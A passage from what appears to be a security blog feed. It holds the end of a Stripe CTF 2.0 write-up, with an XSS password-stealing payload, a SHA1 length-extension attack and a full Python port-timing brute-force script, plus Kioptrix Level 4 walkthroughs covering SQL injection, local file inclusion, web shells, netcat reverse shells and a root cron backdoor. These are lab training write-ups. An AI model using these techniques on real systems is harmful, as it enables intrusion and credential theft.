As mentioned above, it breaks out of the current script function and creates a new one

var newPost=String.fromCharCode(35,110,101,119,95,112,111,115,116);

This is the ASCII code for ‘#new_post’. This is used to contain the data which is sent to the post.

var title=String.fromCharCode(35,116,105,116,108,101);

This is the ASCII code for ‘#title’. This is used for the title of the post to be made

var content=String.fromCharCode(35,99,111,110,116,101,110,116);

This is the ASCII code for ‘#content. This is used for the body of the post to be made

This is the same as the above line, however, it is for ”’ and to use ‘BBB’ instead so the attacker can identify the differences between them and doesn’t get confused

$(content).val(temp);

This then places the result, which is stored in temp, into the content section of the post.

$(title).val(title);

This defines the title of the post, which is going to be set as blank.

$(newPost).submit();

This submits the post to be made

}); //

Closes the open bracket which was used for the function command earlier, to include the above lines. It then adds comment, so everything after the original JSON statement where the attacker injected from, is to be ignored and isn’t processed. Therefore, the injected statement isn’t altered.

The attacker was able to get around the apostrophes and quotes issue by using the ’fromCharCode’ function inbuilt to JavaScript as it allows for character values to be stored in a numeric form that can be interpreted by JavaScript and then processed locally on the client, thus it allows for the usage of apostrophes and quotes, which removes any limitations on the characters that were put in place on the server side.

The attacker was able to bypass the CSFR by using ‘$(newPost).submit();’ to submit the form. By doing so, the submit function calls itself, so the XSRF token will also be sent.

The attacker then simply waits for the target to visit the page (note: the target needs to visit the page BEFORE the attacker does), browses through the source code of the page and discovers the target user has made a new post containing their password.

In short: Crafted a XSS and posted it in a message, which used jQuery to grab, bypass and post the logged in password for the current user.

Level 7 - WaffleCopter

‘WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.’

Once the attacker studies the source code they see the following areas are interesting:

The first issue is that when requesting access to ‘./logs/’ path, its checking to make sure the user is authenticated, but it’s not checking to see who the user is authenticated as (it’s not matching the requested ID to the logged in ID).

The attacker was also able to confirm that the server is using SHA1 as the hashing method in the application on the server as it’s also used on the client’s side too.
File: client.py, Line: 62

1

h=hashlib.sha1()).

In the brief the attacker has been given credentials for the system, so they log into it and download the client application to use the application’s API to request waffles.

The attacker also notices, in the source code; there are hardcoded values to be added when the application starts up. From this the attacker is able to see which waffle contains the unlock key for the next level and the user ID which is linked to the waffle and the key.

After testing the limitation of the client application with the API, they view their log file, to see what was captured. Afterwards they attempt to view another user’s log file, and as they have valid credentials and the issue shown at the start, they are able to access any file in ‘./log/’. The attacker tries the accessing ID of ‘#1’ from the waffle which was added when the application was started. As a result, the attacker was able to see the requested information along with the hash value of it. So the attacker now knows the ‘raw_params’, and the SHA1 ‘hash’ of the outcome, but not the ‘secret’. The ‘hash’ is produced from calculating the value from ‘secret’ and ‘raw_params’. The signature, which is the hash, is sent along with the message, as this is what’s used to make sure the request came from the right user and they have authorization to make the request.

The attacker knows that SHA1, like many other hashing functions, processes data in ‘blocks’, and as a result is subject to a ‘padding’/’Length extension’ attacks, which allows for the hash to be calculated without knowing the full extent of the contents. After researching the attack, they discover some existing code created by VNSecurity.net, which implements the attack. To perform the attack, the attacker needs to know the original request & signature (which they do due to the API), the length of the secret key (the attacker knows that their key length is 14 characters long). The only extra information required is the extra values to attach onto the end of the request. The attacker knows the format of the request (again from the API log) and also the waffle which contains the key - the Liège. There are two possible issues with their current theory:

The key length might be incorrect. The attack was given a key that was 14 characters long, and as they are unable to edit the key - the administrator might of done, either by a backdoor in the system (not in the source code) or by editing the database manually - as the secure field is set to 255 long (However if the value of 14 is incorrect, the attack can brute force all the values from 1-255).

File: initialzed_db.py, Line: 69

1

secretvarchar(255)notnull,

The injected string at the end might not be processed after the hash has been used/attacked/bypassed. However looking through the source code, the attacker was able to see that the earlier variable gets overwritten if the same name is used later.

Therefore, the attacker is able to modify the request after the hash has been calculated and processed. This part is critical to the attack, as the attacker can only append data to the original data requested.

The result of the attack was the attacker had the right key length, as they were able to successfully make a new hash without knowing all the values, thus the application displayed/returned the ‘confirm code’ for the waffle that contained the key to the next level.

In short: The attacker discovered a valid request and its signature which allowed them to attack the SHA1 by a padding attack, breaking the crypto, allowing them to append the request to a premium waffle.

Level 8 - PasswordDB

‘In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers’ respective existences. Instead, the password is “chunked” across multiple processes, called “chunk servers”. These may live on the same machine as the HTTP-accepting “primary server”, or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).’

By viewing the source code the attacker doesn’t notice any issue in the code, so they go back to reading the brief.

‘PasswordDB exposes a simple JSON API. You just POST a payload of the form {“password”: “password-to-check”, “webhooks”: [“mysite.com:3000”, …]} to PasswordDB, which will respond with a {“success”: true}” or {“success”: false}” to you and your specified webhook endpoints.

In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers’ respective existences. Instead, the password is “chunked” across multiple processes, called “chunk servers”. These may live on the same machine as the HTTP-accepting “primary server”, or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).

As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It’s almost like someone on the inside is helping you — there’s an sshd running on the Level 2 server as well.)’

Looking back though the source code, the attacker starts to understand the process of the application.
+ The password is 12 digits long, however it has been broken/split into four ‘chunks’ with each chunk stored on a different ‘chunk server’. These four places are the only record of the password.

Chunks are sent in order to their chunk servers, If the chunk which was sent to chunk server is matches (aka valid), it will return “{success: true}” then it will move onto the next chunk & chunk server. Else it will return “{success: false}”, stop processing the remaining chunk(s), and the primary server will delay sending the reply back to the user in order protect against timing attacks.

The application also supports the ability to ‘repeat’ the results from the chunk servers to another address other than primary server, which is defined when sending the password in the POST request, as a ‘webhook’. This allows the application to be used as a remote authentication (a more complex version to level 5).

From this the attacker notices two points:
+ The password algorithm which was 12 characters long, is being broken down to 3 digits long, 4 times. This means the possible combinations of the password has changed from: 1012, to 4*(103). This dynamically speeds up any brute forcing attempt which could be made on the password (as the keypspace now is 250,000,000 times smaller).
+ The attacker is able to monitor the responses from each chunk server; therefore the attacker can attack each chunk server in turn.
+ They can brute force the first chunk by sending all the combinations which can be produced from 3 digits, and pad the rest of the password. Upon gaining the correct combination for the first chunk they can add that to start value (which the application will then move onto the next server), and move onto the next three digits and remove 3 padding values from the end. They can repeat this until they have successfully broken in.

The attacker now has a possible method in which they can brute force the application’s process however, they haven’t discovered a way yet to identify if they have figured out the correct combination for each chunk (or have they due to ‘success’?)

After reading the brief for Level 8, the attacker goes back to level 2 as, like in level 5, level 8 can only make outbound requests to *.stripe-ctf.com. Another clue left in the briefing was server 2 has got an SSH daemon running on it. The attacker takes full advantage of the clues, and goes back to level 2 and uploads a basic PHP web shell. That gains them remote access to the system via a web browser. From there, the attacker create a folder ‘~/.ssh’ which is the default location for the OpenSSH daemon to use. In there the attacker uploads their public SSH key and adds it to the ‘allowed_keys’, which allows the matching private key to SSH into the box, which is the attacker.

Now the attacker has a remote command line shell into stripe-ctf.com network, they are able to start attacking the level 8 server. But they still need to discover how. The input into the application was very limited. As this is a capture the flag event, the attacker knows there has to be a weakness in the application somewhere. Going back to the briefing points:

The example command was to use cURL to make a request was to a HTTP web server.

Looking at the source code, it’s a standard python HTTPServer without any alternations.

The information being requested from cURL to the primary server was being sent via JSON.

Looking at the source code to see how the data was being handled (encoding & decoding) didn’t reveal anything.

The data is being sent to the application. Could something be injected/inserted into a new field or altered an existing value?

The ‘password’ field gets split up into 4 sections; it doesn’t check the length of the password. However, the attacker didn’t discover any places where they could ‘escape out’/’alter the process’ in order to execute the code.

The ‘webhooks’ however, cause the application to make a TCP connection to the given address in order to deliver the result. This value was only used to send data to it; it wasn’t going to receive any input values from it. This meant it had something to do with either:
+ The value itself had to be corrupted in a manner to allow for the attackers code to be split up, sent to the chunk_server and then executed. Or…
+ The process in which the data was sent back to the attacker.

The attacker again looked at the source code trying to find a way they could ‘escape out’/’alter the process’ in order to the execute code like the password field, however didn’t discover anything. This left the way data was being sent to the pingback address. Looking through the code, all the attacker could see was the ‘{success: }’, meaning there wasn’t anything directly useable, meaning the weakness had to be a ‘side channel attack’. As there was timing and system resource protections put in place, it wasn’t related to the systems themselves, which meant it was related to how the data was being transferred from one system to the other, TCP.

To transmit data via TCP, multiple things have to occur at the lower levels of the OSI model which happen ‘automatically’ for the end user. However, at level 4 (Transport layer), some of the input is IP addresses and ports. The packets need to know where they are have come from and where they are going. When the attacker filled in the webhooks value, they typed in a source IP address & port, and the destination IP address & port is automatically handled. The IP address will match the value assigned to the network card, and the port value will randomly be chosen. Due to the nature of TCP, this connection will stay established allowing for the response to be sent back to the destination IP address & port. As soon as the connection is over, the port is closed. This is called the ephemeral port (and it is the key in breaking the application!).

After performing a quick test to understand how twisted, handles ephemeral ports, the attacker discovers it consecutively assigns the ports

The attacker can use this information to their advantage as follows:

The application is started, creating the chunk servers.

Once ready, the primary server is created knowing the addresses of the chunk servers.

The attacker sends the password of ‘123456789012’ to the primary server, and their IP address as the webhook as well as a free open port.

The primary server splits the password up into ‘123’, ‘456’, ‘789’, and ‘012’.

The primary server starts to prepare to send the first chunk to the first chunk server via a TCP connection.

The primary server is aware of destination values (as this is the chunk server), and then defines the source values. It uses its IP address, and then opens a port to be used as the ephemeral port. In this example, the port will be ‘12340’.

In this example, the first chunk, ‘123’, is correct. So the chunk server replies with ‘{“success”: true}’, back to the primary server.

The primary then sends the next chunk to the next chunk server, also via an TCP connection.

Like before it also known the destination value of the chunk server, and uses them for the destination address for the packet. It uses the same source IP address (itself) as before, however it creates a new ephemeral port, as it is a new connection. Due to the nature of twisted; the ephemeral port will be ‘12341’.

In this example, the next chunk value isn’t correct, so the server replies with ‘{“success”: false}’ back to the primary server.

The primary server then stops checking the chunks, and then reports that the password wasn’t correct back to the webhook value via TCP. It uses the webhook value as the source values (which the attacker defined at the same time when they sent the password), the same IP address of itself, and how twisted works, the ephemeral port will be ‘12342’.

The attacker is then able to listen for the connection back from the primary server, monitoring a specified port, waiting to see what the source port is.

The attacker will receive the message ‘{“success”: false}’, from the port ‘1232.’.

The attacker repeats the request, and sends the same password & webhook values back to the primary server and listens again on the port.

The primary repeats the stages from 4 - 11, with the only difference instead of the ephemeral port starting at 12340, it will start from 12343, as 3 TCP connections were made.

The attacker will then get the same result for the same password, except they will receive it from port 12347.

The attacker compares the difference in ports between the two requests, and is able to conclude that as three requests were made, the first chunk is correct. This is because one connection is needed to send the value to the first chunk server, and another one is required to send a message back to the attacker (stating the result of the request). As the attacker knows that the application works by sending a connection to the second chunk server, the first chunk server has to be correct. This makes the connection count to three, as the port differences are three.

The above walkthrough would fail for the attacker if they were to carry it out, due to the hint in the briefing that level 8 has a limited connection out. Therefore if the attacker was to use the level 2 as the webhook, the level 8 will be able to communicate to it.

Another issue with the walkthrough above only takes in consideration if it is just the attacker communicating with the application, if there was another user to connect to during the process - the application would increase for them, causing a false positive result. This can be overcome by repeating the process multiple times, when the port count is greater than two, until there is only one port left.

The attacker now has a method in which they are able to detect at what stage the chunk is incorrect, allowing them to take full advantage of the smaller password size of to 103 rather than 1012, which will speed up the time to brute force the key.

The attacker creates a python script loop from 000 to 999, padding the remaining values to make the length sent always equal to 12. If the port differences is anything other than ‘2’, they need to make a note of the password sent so it can be tried again; then to keep looping around until there is only one value left, which will be the first chunk. This is to always be sent to the application, and the script can start to brute force the next three digits and increase by one the differences of what the ports should be, so it’s now ‘3’. This is repeated for the third chunk, adding the second chunk to the value to be always sent, and increase the difference to ‘4’. For the final chunk, the script can just start the brute force values at 000, and keep increasing until the server replies back with ‘{“success”: true}”’. What value was last sent to the application, is the final key to stripe-ctf 2.0 (Web Edition).

In short: Network side attack to count the differences between the TCP ephemeral ports when brute forcing four sections of the key.

#!/usr/bin/env python# Importsimportdatetime,httplib,os,timefromBaseHTTPServerimportBaseHTTPRequestHandler,HTTPServer# Settingsserver2IP="level02-#.stripe-ctf.com"server8IP="level08-#.stripe-ctf.com"server8User="user-##########"# Classes# Web serverclasswebHandler(BaseHTTPRequestHandler):# When we get a POST request from cURL do thisdefdo_POST(self):globalfirstRun# Web server infogetResult=self.rfile.read(int(self.headers["Content-Length"]))self.send_response(200)self.send_header("Content-type","text/plain")self.end_headers()iffirstRun==True:firstRun=FalsenoteTheTime()print"[i] Started at: %s"%(time.asctime(time.localtime(time.time())))print"[xxx]restofkey =-= OldPort-Ports =-= %s =-= Remaing Ports\n%s"%("Result".center(11),"-"*68)# This is where the magic happens!action(self.client_address[1],getResult)# Endreturn# Hides server outputdeflog_message(self,format,*args):return# Functions# The major functiondefaction(port,getResult):globalselectionCurrent,selectionArray,left2Try,portLast,selection1,selection2,selection3,timeArray,timeLoop# Display resultifselectionCurrent==1:print"[%s]000000000"%(str(left2Try[selectionArray]).zfill(3)),elifselectionCurrent==2:print"%s[%s]000000"%(selection1.zfill(3),str(left2Try[selectionArray]).zfill(3)),elifselectionCurrent==3:print"%s%s[%s]000"%(selection1.zfill(3),selection2.zfill(3),str(left2Try[selectionArray]).zfill(3)),else:print"%s%s%s[%s]"%(selection1.zfill(3),selection2.zfill(3),selection3.zfill(3),str(left2Try[selectionArray]).zfill(3)),# Calcutate the port and differncesportDiff=port-portLastportLast=port# How far are we?ifselectionCurrent==4:ifgetResult=='{"success": false}':print"is wrong"selectionArray+=1connect()else:noteTheTime()print"== *CORRECT!*"print"-"*68print"[i] '%s%s%s%s' is the flag for '%s'. Enjoy!"%(selection1.zfill(3),selection2.zfill(3),selection3.zfill(3),str(left2Try[selectionArray]).zfill(3),server8User)print"[i] Finished at: %s"%(time.asctime(time.localtime(time.time())))forxinrange(1,len(timeArray)):timeTaken=timeArray[x]-timeArray[x-1]print"[i] Selection #%s took: %s seconds (%s minutes)"%(x,timeTaken.seconds,timeTaken.seconds/60)timeTaken=datetime.datetime.now()-timeArray[0]print"[i] Total time taken: %s seconds (%s minutes)"%(timeTaken.seconds,timeTaken.seconds/60)os._exit(2)else:# Only one result left - so we will go with that (and hope!)iflen(left2Try)==1:noteTheTime()timeTaken=timeArray[timeLoop]-timeArray[timeLoop-1]print"=-= YES!"print"[i] Selction #%s's key: %s"%(selectionCurrent,str(left2Try[0]))print"[i] Time taken: %s seconds (%s minutes)"%(timeTaken.seconds,timeTaken.seconds/60)print"-"*68# Move onto the next selectionselectionCurrent+=1ifselectionCurrent==2:selection1=str(left2Try[0])elifselectionCurrent==3:selection2=str(left2Try[0])else:selection3=str(left2Try[0])left2Try=range(999)selectionArray=0else:# How big is is the differences? Could it be the value?ifportDiff==1+selectionCurrent:print"=-= Diffence: %s =-= %s =-= Remaning: %s"%(str(portDiff).center(3),"No".center(11),str(len(left2Try)))left2Try.remove(left2Try[selectionArray])else:print"=-= Diffence: %s =-= %s =-= Remaning: %s"%(str(portDiff).center(3),"MAYBE".center(11),str(len(left2Try)))selectionArray+=1# Start the cycle againconnect()# Make the correct to other serverdefconnect():globalleft2Try,selectionCurrent,selectionArray,selection1,selection2,selection3,server2IP,server8IP,server8Useriflen(left2Try)-1<selectionArray:selectionArray=0# Find the flag to tryifselectionCurrent==1:flag2Try="%s000000000"%(str(left2Try[selectionArray]).zfill(3))elifselectionCurrent==2:flag2Try="%s%s000000"%(selection1.zfill(3),str(left2Try[selectionArray]).zfill(3))elifselectionCurrent==3:flag2Try="%s%s%s000"%(selection1.zfill(3),selection2.zfill(3),str(left2Try[selectionArray]).zfill(3))else:flag2Try="%s%s%s%s"%(selection1.zfill(3),selection2.zfill(3),selection3.zfill(3),str(left2Try[selectionArray]).zfill(3))# Do it!try:server8Connection=httplib.HTTPSConnection(server8IP,443,timeout=30)server8Connection.request("POST","/%s/"%(server8User),'{"password": "%s", "webhooks": ["%s:%s"] }'%(flag2Try,server2IP,str(server2Port)))server8Connection.close()except:print"[!] Something went wrong"os._exit(1)# Make a note of the timedefnoteTheTime():globaltimeArray,timeLooptimeLoop+=1timeArray.insert(timeLoop,datetime.datetime.now())# Main functiondefmain():globalserver2Porttry:# Start server on a random portserver=HTTPServer(("",0),webHandler)server2Port=server.server_port# Feedback to the user and give the 'trigger' commandprint"[>] Started server (http://0.0.0.0:%s)"%(server2Port)print"[>] To start brute forcing, run:\ncurl https://%s/%s/ -d '{\"password\": \"000000000000\",\"webhooks\": [\"%s:%s\"]}'"%(server8IP,server8User,server2IP,server2Port)# Run forever...server.serve_forever()exceptKeyboardInterrupt:# ...until the user breaks out!print"[>] Shutting down server"server.socket.close()# Main programif__name__=="__main__":# Default valuesfirstRun=Trueleft2Try=range(999)portLast=0selection1=selection2=selection3="000"selectionArray=0selectionCurrent=1timeArray=[]timeLoop=-1main()os._exit(0)

Notes

Could of used BeEF to help with the XSS

Camtasia Studio has rendered a couple of highlighted boxes unevenly. Nothing I can do about this.

]]>
2012-02-19T06:59:00+00:00https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-local-fileKioptrix is a ”boot-to-root” operating system which has purposely designed weakness(es) built into it. The user’s end goal is to interact with system using the highest user privilege they can reach.

There are other vulnerabilities using different techniques to gain access into this box such as breaking through a limited shell as well as backdooring via MySQL injection.

Walkthrough

The scope of this attack is a certain target; therefore the attacker needs to discover it on their network. Scanning with “Netdiscover” produces a list of all IP’s & MAC addresses and known vendors which are currently connected to the network. The attacker has prior knowledge and knows the target hasn’t spoofed their MAC address as well as being inside a VM. Due to only one vendor which relates to a VM, VMware, they successfully identified the target.

By having the target’s IP address, the attacker now focuses specifically on the target. The next thing they do is a port scan of every TCP & UDP port. “UnicornScan” shows five open ports; TCP 22 (SSH), TCP 80 (HTTP), TCP 139 (NetBIOS), TCP 445 (SMB) & UDP 137 (NetBIOS). “nmap” verifies the port scan results and at the same time the attacker takes advantage of nmap’s inbuilt scripting engine, which detects what services are listening on each port, banner grab (which could possibly identify the software being used & its version) as well as fingerprinting the operating system. Depending on the outcome produced by the scan, nmap could decide to execute any other script(s). In this instance various samba scripts were executed to automatically enumerate it. Nmap fingerprintted the operating system as Linux 2.6.9-2.6.31.

By interacting with the web service using “firefox” the attacker is able to see if any web application is running. The web server responds and presents them with a login screen.

The attacker starts “Burp Proxy” and configures it. Burp is able to monitor & interpret the traffic between the attacker and the target. To do so, firefox’s proxy settings are altered to direct the traffic into burp. Now when the attacker tries to login, burp has captured the request. Using burp’s “repeater” function the attacker is able to manipulate the request as they wish. The attacker repeats the same incorrect login to verify the setup and gain a “base line” to compare results. On the next request the attacker has altered the password value to reflex a ’standard common’ SQL statement which affects login screens by always returning true. Upon the successful request to login, a cookie value has been set, ‘PHPSESSID’, which is used for storing values in between pages (even if they are not always on the same domain!) for a certain amount of time allowing for every user to be remembered. The attacker attaches the cookie value, repeats the login request and follows the redirect.

After bypassing the login system, the attacker is presented with the ‘members’ page, however the attacker isn’t using a ‘correct’ username, thus the requested information is invalid which is why the attacker is given an error message. This is an error message produced from the code that is being executed on the page. The attacker repeats the last request, but replaces the username with a known filename (the login page ‘index.php’). This request caused an error, however the error message produced is from the backend engine itself, PHP, saying that it wasn’t able to include the file (along with the filename requested). From this error message the attacker notices how the code has altered the request from the original:

Requested username: index.php

Processed username: index.php/index.php.php

The attacker wishes for only the first part to be processed by the code, instead of adding a “/” (to signal that its directory) along with the value again and adding “.php” at the end (as a file extension). The attacker can achieve their aim by adding “” afterwards which is a NULmeta character which signals it’s the end, thus the code does not process anything else afterwards. The attacker tries the updated request again, and is able to see that the login screen is included.

The attacker uses this vulnerability to collect as much as possible to help enumerate the system, for example, discovering which users have access into the system that could allow for the attacker to login the Web UI as a valid user. Upon requesting the standard ‘passwd’ file for a Linux operating system (which has been identified multiple times), the requested ‘username’ (aka filename) doesn’t match up to what was processed and produces an error message. It’s in the same format as the first one, which means there is some type of filtering being processed on the ‘username’ value that is being requested. After inspecting the filename in the error message the attacker notices, the only thing which is incorrect is ‘etc’ as it appears it’s been taken out. The attacker repeats the request again and duplicate ‘/etc/’ in the filename to see if that has an effect. The target responds and includes the file, giving the attacker a list of valid users on the system. This means the filtering system appears to search and replace ‘etc’ once with a blank value. Editor’s note: The users in the web service might not always match up to the system itself or vice versa as well as having a more complex filtering system!).
The attacker progresses by fingerprinting the web service itself. They soon discover the command used to start the service, as arguments could be used to specify other values other than the default ones (E.g. using a different configuration file rather than the default one). As it turns out the service was executed without any command line arguments, therefore it’s using the default configuration paths. Editor’s note: I skipped out analysing the configuration file to see if the PHP sessions values were written to a file via ’session_save_path’. Another common method is to use the log files (e.g. insert code into the user-agent field), however I was unable to read these as www-data didn’t have permission to read them. I didn’t try using environ!

Still in the “/proc” folder as it is directly reading a range of memory, the attacker is able to isolate the ‘current’ process by using ‘/self/’ (which will be different for each program. Else use the />PID</), the attacker is able to read the ‘file descriptions’, to see if they are pointing to anything ‘interesting’. The attacker uses Burp’s “intruder” feature which requests and increments the FD value. Upon expecting the results, the attacker notices a few “permission denied” (Access to the log files) as well as “file not found” messages until #9, which matches the PHP session data.

The attacker goes back to the login screen, removes the cookie value thus making it appeared that they are not logged into the system then after the injected password valued, then include a PHP command to view the configuration settings. Because of “– -” at the end of the SQL statement, it signals to the database not to process anything else afterwards. However this doesn’t apply to PHP and when the FD value is read this time by the local file inclusion (LFI) it is processed.

The attacker goes back again and this time replaces phpinfo(); with the a PHP statement (passthru) to execute commands and display the output. The result of this, allows the attacker to execute commands locally on the target’s system. By locating and using netcat on the local system, the attacker is able to produce a interactive shell on the system.

The attacker then repeats the last injection, however replaces the use of netcat with another binary file. This file is created from the “metasploit framework”. This would be necessary if netcat wasn’t located on the system. The attacker is able to write a single bash line to download the binary, give it the correct permission to be executed then execute it. Due to the complexity of the statement, the attacker needs to encode the string to make sure the command isn’t proceed until it’s reached by the PHP function. However…

As the attacker wishes to gain deeper access into the system they can privilege escape by using MySQL. The attacker has already got shell access on the system previously (here and here), and was able to locate the MySQL database credentials. The attacker knew that the values had to be hardcoded into the web application somewhere to allow it to interact with the database. Upon viewing “checklogin.php” in the (default) web root directory, “/var/www/”, the attacker sees on line 4 & 5:

$username=”root”; // Mysql username

$password=”“; // Mysql password

When the attacker collected the credentials at the same time, they noticed that MySQL was being executed as the superuser, root.

So the attacker alters the requested command to control the target to execute from inside MySQL instead of the user. The attacker makes sure the binary file is ready in the web root folder and that it has the necessary permissions. Afterwards the attacker then starts a web server.

Once everything is in place, the attacker makes the request to the target. The request is to the local file include vulnerability, which is using the PHP session data for the code to be included, which causes the web server to execute the given command, which in return instructs itself to download a file, and then execute it using MySQL. This connects back to the attacker given them a remote root shell to the targets system.

]]>2012-02-19T06:58:00+00:00https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-sql-injectionKioptrix which is a ”boot-to-root” operating system which has purposely designed weaknesses built into it. The user’s end goal is to interact with system using the highest user privilege they can reach.

There are other vulnerabilities using different techniques to gain access into this box such as breaking through a limited shell as well as local file inclusion using PHP session data.

Walkthrough

The first step to attack the target, is to discover it. Scanning with “Netdiscover” produces a list of all IP’s & MAC addresses and known vendors which are currently connected to the network. The attacker has prior knowledge and knows the target hasn’t spoofed their MAC address as well as being inside a VM. Due to there being only one vendor which relates to a VM, VMware, they successfully identified the target.

By having the target’s IP address, the attacker now focuses specifically on the target. The next thing they do is a port scan of every TCP & UDP port. “UnicornScan” shows five open ports; TCP 22 (SSH), TCP 80 (HTTP), TCP 139 (NetBIOS), TCP 445 (SMB) & UDP 137 (NetBIOS). “nmap” verifies the port scan results and at the same time the attacker takes advantage of nmap’s inbuilt scripting engine, which detects what services are listening on each port, banner grab (which could possibly identify the software being used & its version) as well as fingerprinting the operating system. Depending on the outcome produced by the scan, nmap could decide to execute any other script(s). In this instance various samba scripts were executed to automatically enumerate it. Nmap fingerprintted the operating system as Linux 2.6.9-2.6.31.

By interacting with the web service using “firefox” the attacker is able to see if any web application is running. The web server responds and presents them with a login screen. The attacker fills in a common username, “admin” and uses “’” as a password. The server responds with a MySQL error message saying there has been a problem processing our request. This signals there is a possible MySQL injection vulnerability.

The attacker can automate the database injection procedure by using “SQLMap” which dramatically speeds up the attack. The attacker uses the same URL which the error was produced on, and with the aid of “tamper data” they are also able easily to clone the same (POST) data which is sent to the target. Editor’s note: It could have been just as quick to manually type out the request using the page’s source code!). The first attempt to exploit the database, fails, however SQLMap states it can try more ‘aggressive and complex’ injection methods by increasing the level and risk factor, which the attacker does on the second try. This is successful, allowing the SQLMap to function fully benefiting the attacker. The attacker starts to emulate the back end database and discovers software versions, the operating system, current database & user and if they are a database administrator. Afterwards the attacker starts to view the content of the databases. This is a common procedure as MySQL has an option to automate this, ‘–dbs’, however if there is a specific SQL statement the attacker manually wishes to execute, they can use,’ –sql-shell’, to do so. The attacker demonstrates this by viewing the contents of the table “members” (however this could have been automated with ‘-D members -T members –dump’). Editor’s note: I also wanted to demonstrate SQLMap output modes; ‘minimal’ (-v 0) which is just the outcome of the request as well as being able to show the SQL statements its currently sending (-v 3), therefore educating the attacker! SQLMap can also display a lot more detail - such as what SQLmap sees by the server response)._

Another feature of SQLMap (like its ability to give an interactive shell to the database), it can also attempt to get an interactive shell on the system itself, thus giving the attacker remote access to the target. The attacker tries out this feature and it is successful, allowing the attacker to execute commands locally on the target. Editor’s note: Due to the web root folder permissions set to superuser, and how sqlmap works (it writes using MySQL to the web root folder, a small client which then the web server uses to execute commands/upload files, thus it uses two different user accounts - this is covered later), the attacker needs to use the ‘same method used for file stager’. The attacker creates another shell (a fall back, which is useful incase one shell is terminated for whatever reason…) using a reverse netcat shell.

SQLMap has automated alot of aspects in the database injection, however the attacker wishes to have a little bit more ‘control’ by manually performing the attack themselves. The attacker starts “Burp Proxy” and configures it as burp allows for easy alternating and repeating requests. Firefox’s proxy settings are altered to direct the traffic into burp. Now when the attacker tries to login using firefox, burp captures the request which they can manipulate. The attacker alters the password field to write every value in the database into a file located in the web root folder, as this would allow for the attacker to be able to read it (if they didn’t have a remote shell). When the attacker uses the shell to view the listing of the directory, they notice that the user “root” has created the file. The attacker can use this to their advantage later.

The information learnt from the database isn’t new to the attacker, as SQLMap simplified the procedure just like creating a web shell to control the target, which the attacker now manually repeats. The attacker uses MySQL to write the backdoor file into the (default) web root folder which is done so by the user ‘root’, and then uses the web server to execute the code which uses the user ‘www-data’. As the vulnerable code requests three values (id, password, username) the attacker ‘nulls’ the values with blank spaces, plus instead of making it return every value by using “OR”, they replace it with “AND” thus always being true, and therefore, only returning one value, so then the attacker’s command is only executed once. The attacker also encodes the string as HEX which is to be printed into the file as this isn’t interpreted by anything else, which means it wouldn’t affect the rest of the code in the vulnerable function.

The attacker now tries something which wasn’t automated by SQLmap, as the attacker now knows the MySQL is being executed as root, they write a file into the “cron.d” directory which is used for scheduling. At certain intervals the commands specified within each ‘job’ is executed as the specified user. The attacker crafts an ‘evil’ job which is designed to create a reserve shell to be executed as the superuser to be run every minute. The attacker set up a listener to catch the connection from the target and then waits (up to) a minute for the schedule cron job to be executed… Editor’s note: The attacker is able to go from “nothing to root”, in two commands! An SQLi command and then setting up netcat to listen.

…It wasn’t long before the attacker was presented with a shell which has superuser privileges.

When they explore root’s personal home folder, they notice a text file called “congrats.txt”. When the attacker opens it up they see that they have been notified that they have reached the end goal.

The attacker tries to repeat the last injection, but, they replace netcat to create the connection with another binary file. This file is created from the “metasploit framework”. This would be necessary if netcat wasn’t located on the system. However this time the cron job has been altered slightly. It’s still scheduled to be executed on the next minute by the superuser, but the commands have been modified to:

Automatically delete the cron job (thus it is only executed once).

Move into a folder that is able to be written into and executed from.

Download the binary file from the attacker.

Give it execute permissions.

Execute the binary file.

Delete the binary file.

The attacker sets up another listener, starts the web server with the binary file in the web root folder and waits for the target to connect…

]]>2012-02-19T06:57:00+00:00https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-limited-shellAnother Kioptrix has been released which is a ”boot-to-root” operating system that has purposely designed weaknesses built into it. The user’s end goal is to interact with the system using the highest user privilege they can reach.

There are other vulnerabilities using different techniques to gain access into this box such backdooring via MySQL injection as well as local file inclusion using PHP session data.

sock_sendpage – (Found on exploit-db.com & Can be found in BackTrack 5).

Walkthrough

The attack begins by locating the target on the network. By using “Netdiscover” the attacker produces a list of all IP’s & MAC addresses and known vendors currently connected to the network. They know that the target hasn’t spoofed their MAC address and that they are inside a VM meaning the attacker has successfully identified the target due to only one vendor which relates to a VM, VMware.

This allows the attacker to direct their attack by port scanning every TCP & UDP port of the target. “UnicornScan” shows five open ports; TCP 22 (SSH), TCP 80 (HTTP), TCP 139 (NetBIOS), TCP 445 (SMB) & UDP 137 (NetBIOS). “nmap” then verifies the port scan results and at the same time of nmap’s scan; the attacker takes advantage of the inbuilt scripting engine by detecting in which to detect services that are being run on the port, banner grab (which could possibly identify the software being used & its version) as well as fingerprinting the operating system. Depending on the outcome produced by the scan, nmap could decide to execute any other script(s). In this instance various samba scripts were executed automatically enumerate it. Nmap fingerprintted the operating system as Linux 2.6.9-2.6.31.

By interacting with the web service using “firefox” the attacker is able to see if any web application is running. The web server responds and presents them with a login screen.

The attacker starts “Burp Proxy” and configures it. Burp is able to monitor & interpret the traffic between the attacker and the target. To do so, firefox’s proxy settings are altered to direct the traffic into burp. Now when the attacker tries to login, burp has captured the request. Using burp’s “repeater” function the attacker is able to manipulate the request as they wish. The attacker repeats the same incorrect login to verify the setup and gain a “base line” to compare results. On the next request the attacker has altered the password value to reflex a ’standard common’ SQL statement which affects login screens by always returning true. Upon the successful request to login, a cookie value has been set, ‘PHPSESSID’, which is used for storing values in between pages (even if they are not always on the same domain!) for a certain amount of time allowing for every user to be remembered. The attacker attaches the cookie value, repeats the login request and follows the redirect.

